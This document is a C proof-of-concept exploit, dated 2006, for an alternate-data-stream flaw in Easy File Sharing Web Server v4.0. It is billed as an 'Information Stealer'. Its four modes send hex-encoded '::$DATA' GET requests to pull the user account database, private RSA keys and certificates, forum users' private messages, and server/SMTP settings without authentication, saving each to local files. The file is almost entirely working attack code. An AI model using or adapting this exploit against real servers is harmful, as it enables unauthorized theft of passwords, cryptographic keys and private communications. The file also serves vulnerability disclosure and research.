/*
===================================================================
0-day Alternative File Stream Exploit for Easy File Share Server 4
===================================================================
Exploit allows malicious users to grab files from the server without
being authenticated completely bypassing security.


0-day Easy File Sharing Web Server v4.0 Information Stealer
Discovered and Coded by Greg Linares ==> GLinares.code [at] gmail [dot] com
This tool demonstrates EFS Web Server's Vulnerability to Alternative
Data Stream GET requests which allow unauthorized users to download server
critical files.

Discovered and Reported: 10-30-2006

Usage: exploit <hostname/IP> [port 80=default] [Method see below]

--------PoC Methods:-----
1 = Gather all login username and passwords and email addresses.[Default]
2 = Gather Private RSA Key and Certificates for server.
3 = Gather Private Messages used by Forum Users on the server
4 = Gather Server Settings File and SMTP server info.

*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>    /* Win32 API */
#include <wininet.h>    /* WinInet API */
int mthd;
unsigned short httpport;
char exploit[512], exploit2[512], exploit3[512], exploit4[512];
char logmsg[512];
char endmsg[512];
HINTERNET inet;      /* WinInet Internet Handle */
FILE *file;

void ExploitHTTP (HINTERNET inet, const char *host, const char *exp)
{

    HINTERNET connection;    /* Connection Handle */
    HINTERNET request;      /* Request Handle */
    unsigned long flags;    /* HttpOpenRequest Flags */

  char buffer[BUFSIZ];
    unsigned long len;


  printf("HOST: %s\n", host);
  printf("PORT: %i\n", httpport);

  if ((connection = InternetConnect(inet, host, httpport,
              NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0))
      == NULL)
  {
    printf("Failed to Connect...Exiting\n");
    InternetCloseHandle(inet);
    fclose(file);
    exit(1);
  }

  flags = INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_AUTO_REDIRECT |
      INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_COOKIES |
      INTERNET_FLAG_RELOAD;

  strcat(exp, "%3A%3A%24%44%41%54%41");

  request = HttpOpenRequest(connection, "GET", exp, "HTTP/1.0", NULL, NULL, flags, 0);
  if (request == NULL)
  {
    printf("HTTP Open Request failed....Exiting\n");
    InternetCloseHandle(connection);
    InternetCloseHandle(inet);
    fclose(file);
    exit(1);
  }
  if (!HttpSendRequest(request, NULL, 0, NULL, 0))
  {
    printf("HTTP Send Request failed....Exiting\n");
    InternetCloseHandle(request);
    InternetCloseHandle(connection);
    InternetCloseHandle(inet);
    fclose(file);
    exit(1);
  }
  printf("Exploit Sent...Dumping HTTP Return Packet...");
  sleep(1000);

  while (InternetReadFile(request, buffer, sizeof buffer, &len) && len > 0)
  {
    fwrite(buffer, len, 1, file);
    if (fwrite(buffer, len, 1, stdout) < 1)
    {
        printf("Error Outputting HTTP Return Packet\n");
    }
  }
  InternetCloseHandle(request);
    InternetCloseHandle(connection);
}


int main (int argc, char *argv[])
{

  printf("\n=========================================================================\n");
  printf("0-day Easy File Sharing Web Server v4.0 Information Stealer\n");
  printf("Discovered and Coded by Greg Linares ==> GLinares.code [at] gmail [dot] com\n");
  printf("This tool demonstrates EFS Web Server's Vulnerability to Alternative\n");
  printf("Data Stream GET requests which allow unauthorized users to download server \n");
  printf("critical files.\n");
  printf("Discovered and Reported: 10-30-2006\n");
  printf("\nUsage: %s <hostname/IP> [port 80=default] [Method see below]\n", argv[0]);
  printf("--------PoC Methods:-----\n");
  printf("1 = Gather all login username and passwords and email addresses.[Default]\n");
  printf("2 = Gather Private RSA Key and Certificates for server.\n");
  printf("3 = Gather Private Messages used by Forum Users on the server\n");
  printf("4 = Gather Server Settings File and SMTP server info.\n");
  printf("============================================================================\n");


    inet = InternetOpen("ESF Exp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (inet == NULL)
  {
    printf("Error accessing InternetOpen API - Exiting...\n");
    exit(1);
  }
  if (argc < 2)
  {
    printf("Invalid # of arguments...Exiting\n");
    exit(1);
  }
  if (atoi(argv[3]) > 4)
  {
    mthd = 1;
  }
  if (atoi(argv[3]) <= 0)
  {
    mthd = 1;
  }
  mthd = atoi(argv[3]);

  /* Set Up Exploits */
  switch(mthd)
  {
      case 1:
      file = fopen("Accounts.txt","a+");
      sprintf(exploit, "%s", "%75%73%65%72%2E%73%64%62");
      sprintf(endmsg, "%s", "\n\n\nResults Dumped to Accounts.txt\n");
      break;
    case 2:
      file = fopen("RSAKeys.txt", "a+");
      sprintf(exploit, "%s", "%53%65%72%76%65%72%4B%65%79%2E%70%65%6D");
      sprintf(endmsg, "%s", "\n\n\nResults Dumped to RSAKeys.txt\n");
      break;
    case 3:
      file = fopen("Messages.txt", "a+");
      sprintf(exploit, "%s", "%6D%73%67%31%2E%73%64%62");
      sprintf(endmsg, "%s", "\n\n\nResults Dumped to Messages.txt\n");
      break;
    case 4:
      file = fopen("Server.txt", "a+");
      sprintf(exploit, "%s", "%6F%70%74%69%6F%6E%2E%69%6E%69");
      sprintf(endmsg, "%s", "\n\n\nResults Dumped to Server.txt\n");
      break;
  }



  sprintf(logmsg, "%s", argv[1]);
  sprintf(logmsg, "%s", "\r\n\r\n\r\n");
  fwrite(logmsg, strlen(logmsg), 1, file);
  httpport = atoi(argv[2]);
  ExploitHTTP(inet, argv[1], exploit);
  if (mthd == 3)
  {
    printf("\n\n Sending 2nd Exploit...\n");
    strcat(exploit2, "%6D%73%67%32%2E%73%64%62");
    ExploitHTTP(inet, argv[1], exploit2);
    printf("\n\n Sending 3rd Exploit...\n");
    strcat(exploit3, "%6D%73%67%33%2E%73%64%62");
    ExploitHTTP(inet, argv[1], exploit3);
    printf("\n\n Sending final Exploit...\n");
    strcat(exploit4, "%6D%73%67%34%2E%73%64%62");
    ExploitHTTP(inet, argv[1], exploit4);
  }
  if (mthd == 2)
  {
    printf("\n\n Sending 2nd Exploit...\n");
    strcat(exploit2, "%53%65%72%76%65%72%43%65%72%74%2E%70%65%6D");
    ExploitHTTP(inet, argv[1], exploit2);
    printf("\n\n Sending final Exploit...\n");
    strcat(exploit3, "%52%6F%6F%74%43%65%72%74%2E%70%65%6D");
    ExploitHTTP(inet, argv[1], exploit3);
  }
  fclose(file);

    Sleep(500);
    InternetCloseHandle(inet);
  printf("\n\n===================================================\n");
  printf("%s\n", endmsg);
  printf("Proof Of Concept Exploit by Greg Linares\n");
  printf("Send Comments/Concerns/Questions/Etc to GLinares.code [at] gmail [dot] com\n");
    return 0;

}